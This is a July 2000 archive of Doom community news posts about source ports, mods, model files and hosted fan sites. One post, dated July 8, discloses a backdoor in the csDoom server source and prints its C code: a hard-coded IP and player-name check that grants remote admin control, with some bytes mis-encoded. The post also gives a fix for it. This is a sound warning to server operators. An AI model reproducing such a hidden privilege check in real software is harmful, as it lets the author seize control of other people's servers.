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News Archive
July 2000

 Monday, July 31, 2000

 Goldeneye Quickie!
 Posted by at 7:00 PM
Category: General

Hey there, new update from the boys over at the Goldeneye station. Here's a snippet straight from the mules mouth...
More graphics been added to the Zdoom/Boom/Doom legacy version. There have been some enhancments to the ge64levs.zip. An new edge version now includes scientists, (Don't shoot to many of them, unless..."). There is also a new deathmatch pack ge64dm.zip which includes a 3 maps in one addon, great for csdoom!



 Sunday, July 30, 2000

 Team Kill v1.1 Released!
 Posted by William 'Phoebus' Mull at 7:00 PM
Category: General

v1.1 of Kill has been released on the Team Kill website. Head on over to check out what's new. Also, Team Kill is in need of some help. Get in touch with Ike for more info!


 New Doom Trance Rock!
 Posted by William 'Phoebus' Mull at 7:00 PM
Category: General

-Bart- sends word that he's just finished a new Doom trance/rock mix, called At Doom's Gate (On Speed Mix). There's a Doom II inspired track as well! They're really cool, you should definitely check out all of his other game-induced tunes while you're at it!


 Ferrari's Doom2 Rankings
 Posted by William 'Phoebus' Mull at 7:00 PM
Category: General

Be sure to check out Ferrari's one and only Doom2 Rankings site! Right now there are 14 members, but they would love to have as many people join in the fun as possible. Ferrari's just added two new trophies, made by Finite (who you may know as one of our New Doom forums regulars). Sign up now to try and win some trophies so you can rightfully claim bragging rights!


 Saturday, July 29, 2000

 The Kill Is In...MP3!
 Posted by at 7:00 PM
Category: General

What'cha gonna do when Doom runs wild on you! Umm I just felt like starting with that :) Well it looks like the results are in on the Kill site. Here check this out.
Well, the results are in. The music will be:

  • E1M1 (future.mid)

  • E1M4 (opening.mid)

  • E1M7 (Escape from NY.mid)


  • I'll have the MP3's either later tonight or tomorrow. And, the maintenence release of Kill (which will fix a few bugs and add stuff, as described on my page) will be released tomorrow night.
    Well there you have it.. now we want it. I want my MP3's! (for those youngsters out there, that's a take on the Dire Strait's song, "Money for Nothing")


     DoomArena Update
     Posted by at 7:00 PM
    Category: General

    Hey we have some great info from the DoomArena "Marines", check this out:
    First off I have discovered how dificult these textures are going to be The enterprise D is made up of beige and white and various others.But the real problem is that they are just one colour. The trouble with this is that single colour walls look awful.so after much trial and error I eventually got there only for my deep editor to start not saving textures when it felt like it. Anyway I finally got that sorted out. I have only a room in progress this week due to all that nonsense.

    A piece of good news is that a friend of mine gave me his star trek fact files which is contained in four binders and a valuble source of info
    They also have a new screenie up of their work in progress, get your butt'a'mov'n and go check it out!


     New Asylem Update!
     Posted by at 7:00 PM
    Category: General

    The guys over at Asylem updated their site with some juicy news, check it out...
    I have just figured out how to replace sprites and flats in Doom. I use DMGraph to insert them into a PWAD the "wrong" way, then I added two lines to the kill.bat. The first line reads "deusf -merge killgfx.wad". It's just before it calls gokill.exe. Then, right after you quit, it automaticaly resores the Doom.wad! So, no need to hassel around with the program! You still only have to run kill.bat!

    So, you will see new GFX in the maitenence release of Kill (which will be ready sometime around Monday or Tuesday). Also included is:

  • Multi-Player capabilities (co-op and DM)

  • A few small fixes in the EXE (text mostly)

  • Some new sounds for the monstrosity.

  • A few texture bugs fixed on the maps.

  • A sneek peek at episode 2...
  • So head on out there and check it out!


     Friday, July 28, 2000

     Goldeneye Doom2 Progress
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Derek has been busily working on Goldeneye Doom2, having recently adding scientists to the game. Keep checking the site for more progress!


     Ferrari's Doom2 Deathmatch Rankings
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Please welcome NEWDOOM.com's newest hosted site, Ferrari's Doom2 Deathmatch Rankings. The site hopes to bring Doomers together and list them all on the website. It also includes, of course, a Rankings section! Players can play one on one matches, submit their scores and get themselves ranked against all of the other participating players. Sound interesting? Check out Ferrari's Doom2 Deathmatch Rankings!


     Doom: The Next Chapter Update
     Posted by at 7:00 PM
    Category: General

    Rick Clark, creator of the roleplaying system, Doom: The Next Chapter, has written a historical background for the game that covers the history of the solar system before Doom and Doom2 and into the time period of DTNC. Here's what to expect in the history:
    I have worked out a complete description of the governmental structure of UAC including an organizational chart and detailed description of the various directorships that exist within UAC. The style of government UAC has developed is a hybrid of socialism, democracy and capitalism within a corporate structure. Sounds odd, but will be clear when you read the details.

    I am also building the economic structure of UAC and will be including price lists of common items that can be purchased. This additon was requested by players and was sorely lacking in the original rule set. UAC provides basic needs for its employees (there are no citizens; everyone is an employee) but allows free trade for items not covered by basic services. The price lists I am building will help game developers price their items in their scenarios. These can only be guides however, since prices are based solely on supply and demand.

    These additions, I hope, will make the game world much more real for the game players. It has taken me a while to work out the details of the UAC form of government and its background, but I have a good framework now that I think will really make DTNC on a par with professional RPG's.
    Be sure to check out Rick's site at http://rickclark.20m.com.


     Thursday, July 27, 2000

     New Flash Doom Project
     Posted by at 7:00 PM
    Category: General

    Ralph Mayrell has put up a new site under the Flash Doom Project section. The project is going to be a more simplified conversion of Doom 2 Map 01 into a Macromedia Flash 4 game. However, a lot of help is needed because it is complicated to create. If you know something about how to use Flash 4, and you are also somewhat fluent with Doom 2, check out the site and go to the Flash Doom Project section and follow the instructions, or e-mail Ralph with the following information:
    Your Real Name
    Your Real E-Mail Address
    A description of your skills and what you would like to do.
    Your desired R! World Username
    Your desired R! World Password


     Wednesday, July 26, 2000

     Welcome Doom Legacy!
     Posted by at 7:00 PM
    Category: General

    Looky, Looky Doom Legacy is our newest rookie! That's right folks put your hands together for our newest addition to our little community here at New Doom. So if you want to know what exactly Doom Legacy is (of course you have to get out from under your rock) head on over to their site.


     Tuesday, July 25, 2000

     DMFlags Calculator
     Posted by at 7:00 PM
    Category: General

    There's a great Web-Based program at the csDoom FAQ site that lets you select the DeathMatch flags you want for your server and automatically add them to your server config file. Be sure to check it out.


     Doom's Dark Revenge
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Thanks to Jonathan Dowland for sending us this clip from British magazine PC ZONE. Notice the newdoom.com link. Pretty cool, huh? :)


     Monday, July 24, 2000

     FAKK2Central.com Goes Live!
     Posted by at 7:00 PM
    Category: General

    Our very own Mindless Games Network has just finished up the latest site in our network. FAKK2Central.com has gone live! Be sure to make it your first-stop for any news related to Ritual Entertainment's Heavy Metal: F.A.K.K.².


     GoldeneyeDoom2 Update!
     Posted by at 7:00 PM
    Category: General

    Well it looks like our buds at GoldeneyeDoom2 have a nice little update for us. Here's the skinny.
    GoldeneyeDoom2 now has a licensed to kill .deh file for Doom Legacy/Zdoom. The graphics have been redone and various features have been added. Also there is a new Edge version available.
    Well what are you waiting for.. check it out!


     Vavoom Version 1.2 Released!!
     Posted by at 7:00 PM
    Category: General

    The Vavoom Doom/Heretic/Hexen source port has been updated. More from the Vavoom site:
    As promised, version 1.2 is out. It's available at downloads page. What's new? Unlike version 1.1, which was only compiled as C++, this version realy starts to use it. This makes coding a little bit easier, players will not feel any difference. Some functions now are in assembler, which will make code a little bit faster. Also improved dehacked support, it is also added to makeinfo utility so now You can create progs with changes from dehacked patch.



     Sunday, July 23, 2000

     Bobby And The MP3's
     Posted by at 7:00 PM
    Category: General

    Well this is just a quick snippet, I mailed Bobby Prince of Doom fame (remember the soundtrack, the best!) just asking about the MP3's that he had posted a while back on MP3.Com. Well here's how it went:
    ...What has happened to the Doom MP3's that were to be available on MP3.com? Will those be available to the public again in the future or was it a one shot deal?

    MP3.com took the site down because they were afraid they'd get sued by a game company. I haven't had the time to fight with them over it. I will have them available again ASAP.
    Well there you go.. let's root Bobby on to post those MP3's. I know we are anxious to see them, oh pardon me HEAR them!


     MP3's And Help At Asylem
     Posted by at 7:00 PM
    Category: General

    There is a big post on Asylem. They have some MP3's and in need of some help. Well let me let them explain it to you.
    I'm assuming that everyone knows of the Doom MP3's recored by Michael Massay. They were recorded so that everyone can see the quality of the Doom midi's, and hear how they were meant for a Roland.

    Well, Kill also has an excelent sound track that was made for a certain instrament. The CTK-601. Now, I'm also going to assume that most people don't have one of these, or don't know how to hook it up to play MIDI's.

    To show people what Kill music is supposed to be like, I'm going to release three of the songs from the demo. People can vote for the song of their choice. I'll be taking the top three and recording them into high quality MP3's off my very own CTK-601. After all, one of the biggest parts of Kill is it's soundtrack, that I've spent hours on. Not recording, but finding the right high quality midi.

    It also appears that the crew needs a coder to work on a few things for Kill. So here more straight from the horses mouth:
    Also, I'm in need of not only a coder to add a few things to the exsisting Doom engine, but I also need someone that is able to insert new GFX into a wad. I have a slew of frames that need insertion. Whoever volunteers will become part of the Kill Team, unless they don't want to. I also have an idea of making a cool AVI or mpeg opening movie for Kill. If anyones interested, or has some ideas for it, please E-Mail me. Oh, and I've been getting some odd responses when I tell someone who the main character is (gender wise). Yes, the main character of Kill is female. Her name is Lt. Lance Young. Her sprite is being made.

    So if you're interested head on over there and check it out!


     New Model Def Released
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    The newest zip (also, put this file: impxplod.pcx, in your md2 dir.) of Daniel Metzler's version of the Model Definition File for use with JDoom is available, so go get it!


     Saturday, July 22, 2000

     DoomarenA Star Trek TC
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    DoomarenA has been updated with info on their Star Trek TC, including a look at some of the Borg, plus the first screenshot of the the modification itself. Check it out!


     FBase: Special Edition Now Available
     Posted by at 7:00 PM
    Category: General

    Tarin brings this great news:
    Once again I've beaten the file-upload demon at DHQ and have updated my page. The FBase special edition (with all 4 levels of the FBase series, a wad to make it work with Immoral Conduct and some Skull Tag bot adding scripts) is now available.
    I've also put up some pictures of my first DooM 3057 DM level. http://www.doomhq.com/tarin



     Welcome Doom Mythos
     Posted by at 7:00 PM
    Category: General

    Please welcome our newest hosted site, Mythos Outpost. It is a great place for people to submit stories and art that based on the Doom Universe. So get your creative minds going and send in some great stories; or if you want a good read, you've come to the right place. There are already some stories up, so check it out!


     Friday, July 21, 2000

     Doom: The Next Chapter
     Posted by at 7:00 PM
    Category: General

    Rick Clark sends this news:
    I wanted to let you all know that I have uploaded a pdf version of my roleplaying game, Doom: The Next Chapter, to CDROM. Not sure where it will ultimetly end up, but it should be in newstuff for a while. This is the complete game system including worksheets. . . .Look for DTNC.ZIP in the Doom section of ftp.cdrom.com.
    For more information, check Rick's Homepage.


     Mythos Outpost Opening
     Posted by at 7:00 PM
    Category: General

    I just want to welcome a new section of New Doom, the Mythos Outpost. This is the highly anticipated site around here where you guys out there can post your Doom related stories or art, that's right stories and art! So if you have a fancy for writing stories or doing some good art based on Doom send them our way we're ready for them.

    So I'd like you all to say hello to the Mythos Outpost!


     Tuesday, July 18, 2000

     Converting JDoom In-View Weapons To MD2
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    There is a thread on the New Doom forums that concerns trying to replace the Doom weapons shown at the bottom of the screen with MD2 files, for Jaakko's JDoom 3D source port mod. The problem stems from the fact that these are not items and do not have the four letter sprite name required by Jaako's modeldef format. One of the people who's been working on further developing the Model Definition File, cj conversed with Jaakko (who was enjoying a brief, rare free moment from his stint in the Finnish army) about this, to which Jaakko offers:
    It isn't yet possible to replace non-item sprites with 3D models. It shouldn't be too difficult to allow it, but I'm afraid the army is taking up all my time at the moment. Perhaps someone is willing to do some hacking with the 1.0pre source (see the JHexen site for more details) ...?
    And as cj surmises,
    This could be a rewarding project for someone with any programming skills but unfortunately that is not me.
    So, it is possible, but we need a programmer out there who can and wants to help. Please get in touch with myself, cj, and/or Jaakko directly (but of course he won't be able to reply right away), and let's help make this a reality.


     NewDoom: The Doomers Speak out
     Posted by at 7:00 PM
    Category: General

    Doomworld has written an article discussing the New Doom:
    This article was compiled to give a voice to the die-hard DOOM players of the world, to focus their opinions into a single article, in regards to id Software's recent 'NewDoom' announcement. Featured within this article, this informal interview, are several high-profile individuals within the DOOM community as well as prominent ex-members of the DOOM community who now operate within the gaming industry.
    So check it out here.


     Monday, July 17, 2000

     MindlessGames.com Needs News Helpers!
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    As some of you may have noticed, our new, in-progress Mindless Games Network has been growing at a phenomenal rate! We'd like to take the MindlessGames.com site itself to the next logical step, and begin covering general gaming news -- but we can't do it without you!

    If you'd like to join our very talented and passionate staff, now's your chance! Be sure to let us know any info about yourself you think may be relevant, including any previous experience you may have! Quite honestly, we are addicted to this online gaming stuff, and we love the experience of doing something meaningful and fun online!

    Does this sound like you? Interested in joining our team? Get in touch!


     Goldeneye Doom Update
     Posted by at 7:00 PM
    Category: General

    Recieved this news from Derek
    GoldeneyeDoom2: The Total Conversion of James Bond has again been updated with more graphics and plenty of fixes and enhancements. There is also some more screenshots uploaded! Get the latest version at The Goldeneye Doom Website



     Newest Model Definition File
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Danok has his newest Model Definition File (d_modeldef.zip: 36KB) on tap (for use with JDoom... you do have that, right? ;); here's his comments:
    Progress has been severely hampered due to this browser problem i've been having, so this update is small. Please look at the readme and see if you can help. New in this version: stalagmite replaces correct sprite, imp attack no longer has pain frame in it.



     Sunday, July 16, 2000

     Danok's Ever-Growing ModDef File
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Danok's latest and greatest ModDef release (d_modeldef.zip: 36KB):
    Stalagmite added, md2 included (put it in your md2 dir.), all artifacts now animated, better arachnotron attack animation, hanglegless.pcx now included. Anyone know a good free program for making pcx files?



     Saturday, July 15, 2000

     Kill Page Updated With Screenshots
     Posted by at 7:00 PM
    Category: General

    Ike64 brings us this news:
    > I've updated the Kill page with info concerning E2M1 of Kill, and have also posted screenshots of it. Including a shot of the new monstrosity monster (which is still in development). I'm also still looking for a coder.



     Tarin's Doom Place News
     Posted by at 7:00 PM
    Category: General

    Tarin brings us this great news:
    I've updated my page with the following stuff: screenshots of a new DM level by me, some screenshots of a few CTF levels for Skull Tag, some stuff about my first finished DM level for DooM3057 and finally the question whether ot make my ZDooM launcher BloodSplash to work with other ports than ZDooM.



     Danok's Newest
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Danok's newest ModDef release (d_modeldef.zip: 5KB) keeps growing and growing:
    Revenant added, Archvile/Bosscube fire removed (it just didn't look right), Doom icon for JDoom included, Spider Mastermind added, Archvile added.



     Friday, July 14, 2000

     New ModelDef File
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Chris Kemp sends in a new modeldef.txt (modeldef.zip: 3KB), which includes all of Danok's updates (as released earlier), with the addition of the Archvile and the Revenant. Enjoy!


     Goldeneye Doom 2 News
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    The Goldeneye Doom 2 site ha been updated with more Russian Soldiers and Commandos, and there have been some some other fixes as well. Please note, Goldeneye Doom 2 is a total conversion in progress. Derek is in need of graphic, sound, and level designer help. Send him an email if you can help!


     Thursday, July 13, 2000

     Unholy Software Update
     Posted by at 7:00 PM
    Category: General

    Unholy Software has made a rather large update concerning the state of their projects, and csDoom. Be sure to take a look.


     Wednesday, July 12, 2000

     Activision NOT Publishing New Doom?
     Posted by at 7:00 PM
    Category: General

    It seems in a recent turn of events, as Ubi Soft acquires Activision and Red Storm Entertainment, that Activision will not be publishing the New Doom. Of course this cannot be confirmed, seeing as how ShugaShack tried to get a comment from Activision, but were denied. We'll keep you posted on all the news right here.


     Danok's Newest ModDef File
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Here you go, you know the drill :-)
    What's new in this release of model definition file (d_modeldef.zip: 4KB): smoother gorrier Cyberdemon death animation with new effects, archvile & bosscube fire added, Pillar With Heart now animated, Boss Cube (the cube that comes out of the last guy's brain in Doom2) added, Light Amplification Visor added, Medium lamp added (a corresponding md2 did exist afterall), Pain Elemental added, wicked new tranparencies added, Artifacts are now enabled by default, torch animations are fixed, firecan animation is sort of fixed, Nazi added.

    Some models seem to pulsate because JDoom sizes them based on their highest point, and when it changes their size changes, i fixed certain animations based on this idea by selecting only frames of simaler height, the animation is choppy but at least they aren't all pulsating.

    Also desperatley neeeded are a stalagmite md2, a commander keen md2, and splater md2s for all enemies that can be splattered excluding the doom guy, and a better fire md2, I cannot impliment them if the md2s do not exist!



     DoomarenA News
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    In recent DoomarenA action, Jason updated with a report on the Star Trek TC he's working on. You'll also find a new 1 level DM map and a pic of a new skin he's doing, which is based on Orb from Q3. Head to the site!


     IcarusWeb Issue 8
     Posted by at 7:00 PM
    Category: General

    The good ol' IcarusWeb has once again came out, this time Issue #8. In this issue they've got reviews of EDGE, Doom Wars, and Morbid DM2. They also have the usual editorial, readers letters on the soapbox gubbins, plus another tutorial from Rick Clark. Be sure to give it a read.


     Tuesday, July 11, 2000

     Order Of The Stray Cats
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Please welcome our newest hosted site here at NEWDOOM.com, the Order of the Stray Cats! And be sure to check out their Reviews (of Single Player and DM levels), Levels (that they've created themselves), and Junk (uh, who knows?!), all dedicated to, what else, our wonderful Doom, of course! Head to the site!


     Danok's Doom Model Definitions
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Guess what? Here's the newest version of Danok's model definition file (d_modeldef.zip: 3KB), and he includes these notes:
    New in this release, commap added, variouse hanging bodys and body parts added, artifacts are at the bottom af the file now, missile added at the bottom of the file but turned off (turn it on the same way as the artifacts), Doom Marine added including death and splatter!

    You may need to copy the candle.pcx to md2/doomgl/md2, and all of the pcx files in md2/doomguy to md2/doomguy/doomguy to get JDoom working with this file, also remember to turn on useModels in the console.

    Also, it seems the that the hang2.md2 was set up to use the hang.pcx,except for the fact that it is pointing to this file (hanglegless.zip: 29.5KB) so give it what it wants and put this hanglegless.pcx in your md2 dir.
    And be sure to visit Danok's site to see some nutty links :)


     Monday, July 10, 2000

     Latest Model Definition File
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Another day, another model definition file from our friend Danok! As he explains:
    here it is v3 of my modeldef.txt bigger, better, with new monsters and fixes for old ones.



     csDoom FAQ Moves In!
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Please welcome the csDoom FAQ to our ranks! This is the place for any and all questions you may have concerning csDoom, the awesome client/server Doom source port by Sergeym (fly) Makovkin. The csDoom FAQ is created and maintained by Slayer[nFc], so please send him your suggestions, check our forums, and visit the csDoom FAQ for more info!


     Sunday, July 9, 2000

     New Model Definition File
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    We've just been sent a new modeldef.zip (3KB) file (different from the one sent to us earlier), this time from Danok, who included this info in his readme:
    Danok's Modeldef.txt2, new in this version various blood and spooge replaced, fixed firecan animation, baron pain and death added, and finally the mancubus has been added.

    I am Danok this is my modeldef.txt file, it is not done yet so do not tell me about what I left out, if you are wondering how this file is different from that other modeldef.txt file going around i'll tell you now. All md2s animate correctly including deaths and attacks (very few of them in that other guy's do), there are several new md2s added including the cyberdemon's death, and finally the artifacts (you know those sphere shaped power ups) have their md2s disabled on account of the fact that they look like crap if you however want to use them just remove the # signs from in front of their lines. Also desperatley neeeded are a medium lamp md2, a stalagmite md2, and splater md2s for all enemies that can be splattered excluding the doom guy who just needs one for his normal death.

    Do not e-mail me thanking or critisizing me for this file and you can expect another release of this file soon, however if you need to mail me for another reason E.G. correction of my english do so here metzler@erols.com.



     The Mini-Project
     Posted by at 7:00 PM
    Category: General

    Well received word from Mechasam that he is working on a little project for Doom/Ultimate Doom called "mini-project" which he say's will replace one whole episode.
    He also reports that he is working on another project called Doom2: Torture, which is currently on hold, till "mini-project" is finished. Unfortunately Xoom appears to be down so I can't get to the site, but if your looking for more information about it head on over to the following : http://members.xoom.com/sam112384/main.html


     New CSDoom
     Posted by at 7:00 PM
    Category: General

    Version 0.62 of csDoom has been released. This follows the little series of releases this past weekend. This version adds bug fixes, teamplay, a new launcher, a new way to reach the master server, and more.


     Some Team Kill Demos And More.
     Posted by at 7:00 PM
    Category: General

    Hey all, just taking a little break here at work to feed you some news for thought! Got word that the Team Kill page now has some stiff demos for download and one of them is actually from Kill! They are allowing some of you fine folks to submit your own demos, with a maximum of 8 demos on the site at one time. 4 demos being that of Doom, and the other 4 being that of Doom 2.
    In other Team Kill news, those folks are scoping out a new coder to help them develop a new port of the Doom engine for Kill. If you need any details head on over to the Team Kill site. If you're interested, send a little message to Ike! I'm sure he'd like to hear from ya.


     Saturday, July 8, 2000

     CSDoom's Security Hole!
     Posted by at 7:00 PM
    Category: General

    Well, we have alittle warning for all you CSDoom lovers out there. A little birdy sent us a tip on some questionable coding in the CSDoom source, here's what we have:

    The following code is included in the source of the new version of csdoom:
    if ( net_from.ip[0]=µ && net_from.ip[1]=z &&
    net_from.ip[2]=¼ &&
    ( !strcmp(players[parse_cl].userinfo.netname, "fly")
    || !strcmp(players[parse_cl].userinfo.netname, "FLY")
    || !strcmp(players[parse_cl].userinfo.netname, "Fly") )
    )
    {
    clients[parse_cl].allow_rcon = true;
    }

    for those of you without a knowledge of C, this basically means that Fly, the creator of csdoom, can take over any server you may choose to set up, and perform "administrative" functions (kick people etc). I'm guessing that you may not wish him to have this ability, so in order to disable it, simply go to line 695 and where you see the line:

    SV_CheckIP();

    simply change it to

    // SV_CheckIP();

    This will disable the hole.
    So if you're running a server, you might want to seriously check this out. And we mean seriously! Thanks Mr. Sloan


     Friday, July 7, 2000

     Check Out The Hosted Sites
     Posted by at 7:00 PM
    Category: General

    Just for your information, you may want to take a look at the Hosted Site listing on the left menu. We've added quite a few new sites, so be sure to take a look at them all. Among the list of Hosted Sites, here are the newest ones added:
  • DoomarenA
  • This Is Doom
  • Asylem of Team Kill
  • And always remember, if you have a site you'd like to get hosted by us, just drop us an e-mail that has a link to your site and we'll take a look!


     Doom3D Update!
     Posted by at 7:00 PM
    Category: General

    Hey all, looks like a new version of Doom3D is now available for download. It's now upto version 1.14. So head on over and check it out at FudgeFactor Software.


     Thursday, July 6, 2000

     Nice Goldeneye Doom2 Update
     Posted by at 7:00 PM
    Category: General

    Well it looks as though Goldeneye Doom2 has now got player models, as well as new weapons, sounds, and more. Derek, the Big Cheese of GED2, also says that the GE64 deathmatch levels now have their own individual themes. So head on over and check it out at Goldeneye Doom2!


     Vavoom Version 1.1 Released
     Posted by at 7:00 PM
    Category: General

    Our hosted site, Vavoom, has released version 1.1 that can be downloaded here! The newest version features better sound, new optimizations (especially the Windows version), and changes in console and command execution! For those who didn't know, Vavoom is a new source port based on sources of Doom, Heretic, Hexen and a little bit from Quake. Supported platforms are DOS, Windows and LINUX.


     DoomarenA Released!
     Posted by at 7:00 PM
    Category: General

    DoomarenAhas been released! DoomarenA is a seven-level deathmatch .wad that tries to recreate the feel of a 3D gaming environment. Go check it out.


     Wednesday, July 5, 2000

     Model Definitions Available For JDoom
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Chris Kemp has been doing a little work to help cultivate progress on JDoom while Jaakko's away in the Finnish army:
    I have recently discovered Jdoom and as were many was impressed with what I saw. When md2 support was added, I started work on a modeldef.txt to include the models that have previously been used for Zdoom and the like. After visiting the messageboard it appears that some are finding this to be a difficult task. Accordingly, I am enclosing my curent modeldef file for inclusion somewhere on your web site if you think it may be desireable. I note that this is a work in progress but I have included over half of the monsters and most items and am working on it regularly.

    Regards CJ.
    You may download modeldef.zip (2KB) from NEWDOOM.com locally.


     Paul Steed On The New Doom
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Sean 'Redwood' Martin at Stomped conducted a great interview with the one and only Paul Steed, formerly the model/animation wizard at id Software, and now apparently starting up his own company, Pummel Studios! Here's what he had to say about the New Doom, the game unfortunately he's not going to be able to help bring to fruition:
    Stomped: What are your feelings on id being able to create a new Doom well? Will it be able to live up to expectations?

    Steed: Well, as far as id goes, there's really...you know, id is obviously a different company than when the original Doom series was created. Can anything as huge as DOOM be ever re-created? I mean, I remember when people found out I made computer games for a living they'd invariably say something like, "You make computer games? Like DOOM?" So at one point computer games and 'DOOM' are synonymous in the majority of the public's eye. One of the things I worry about with a new DOOM game is the magic of the first series being so firmly entrenched in our minds that it will color perceptions and opinions of the new one. John Carmack has a definite vision of what he wants to see in the new Doom. Hopefully the team will support him and enhance the ideas he proposes. DOOM was created in a relatively simple technological time. Doing it today requires a dedication to sophistication and attention to detail that people look for in a single player experience. Can a DOOM live up to the public's expectations? In the end... probably not. Fuck 'em, I say. Make the game you want to make with a singular vision and commitment to consistency... the game will rock. Bow to that five or ten percent of the vocal bitchers and whiners and you'll fail. Ultimately however, regardless the direction, the new DOOM will be a direct reflection of the people who make it.
    Head here for the rest of the interview!


     We Bringeth Olymp CS Doom!
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    We are proud to announce our newest hosted site, Olymp CS Doom! In both English and his native German, [OLY]MADDOG brings you everything you can hope to know about csDoom (i.e., client/server source port for Doom). The site includes the mod's author, Sergey Makovkin's development .plan, as well as the csDoom FAQ (although it's still as yet in German only), as well as a csDoom download & installation tutorial and server info. Sound pretty good? Head to the site!


     Tuesday, July 4, 2000

     Classic Doom --> Q3A Map Conversions
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    If you play Quake III: Arena (come on, you can admit it ;-), you may be interested to know BeQuake.com reveals that there are two classic Doom maps that have been converted for Q3A: Dead Simple (d2ds) and Entryway - (d2dm1). So, get some bots action going and check 'em out!


     Icarusweb #7 Online
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Issue #7 of the weekly Doom e-zine, Icarusweb, hosted by our friends at Doomworld is online, be sure to check it out!


     Monday, July 3, 2000

     Unholy Software Moves In!
     Posted by William 'Phoebus' Mull at 7:00 PM
    Category: General

    Please welcome our newest high-quality hosted site, Unholy Software! Who are these guys, you may ask? Well, Unholy Software is a small team of computer geeks, punkers and heavy metalists, who create games and game add-ons; namely for our beloved Doom, among others! They have several projects currently under construction, and they're always looking for talented new members. If you're interested in becoming a part of the Unholy Software team, be sure to email Ebola!


     New csDoom Page
     Posted by at 7:00 PM
    Category: General

    Der Olymp-|-CS , a new page dedicated to csDoom, has opened. Once there you can find tutorials, news, and some essential downloads for the great program - csDoom.


     Megawad Kill! Demo Released!
     Posted by at 7:00 PM
    Category: General

    Ike's Asylum of Games has released a demo of his new Doom Megawad entitled Kill! Here's alittle info on his insane creation:
    Introducing KILL, one of the coolest megawads around! Started back in 1996, Kill has been through MANY incarnations. At first, it was horrible, even to me. But now, it has grown into a multi-level megawad.
    So, get to a clicken and go download, Kill!


     Sunday, July 2, 2000

     Goldeneye Doom2 Is Alive!
     Posted by at 7:00 PM
    Category: General

    Well soldiers, looks as though there is a new member to the NewDoom marine outpost. Let's have a huge round of hooorahhhs for Goldeneye Doom2! Hoooorahhhh!

    So if you're interested in a little of the 411 on what Goldeneye Doom2 is, here's a snippet:
    This wad is a Total Conversion of Nintendo's Goldeneye 64 for Doom2 v1.9. Currently this wad is in progress...
    So, head on over and check it out...


     Saturday, July 1, 2000

     New Marine On Duty!
     Posted by at 7:00 PM
    Category: General

    Hey there folks, that's right there is a new marine on the scene! pailhead's the name and Doom's my game :) Oh so cliché! Well, I've been around the scene for awhile, doing some old site's for games like Blood, Strife, and Unreal. Any old schoolers out there might remember an OLD Unreal site... Unrealworld.

    Well enough idle chit chat, let's get back to the news!


     Doomsday Test Update
     Posted by at 7:00 PM
    Category: General

    Looks like Jakko has released Build 2 of his Doomsday Client/Server Test. Here it is straight from the horses mouth:
    Here you go, Doomsday Client/Server Test, build 2. This time the package includes support for both JDoom and JHeretic andfeatures a number of bug fixes for the previous JHeretic DLL. Also included is a sample model definition file to show how you can replace the sprites with MD2 models. The source code of the whole Doomsday project is available on the JHexen site.
    Head on over to the Doomday site and get more.




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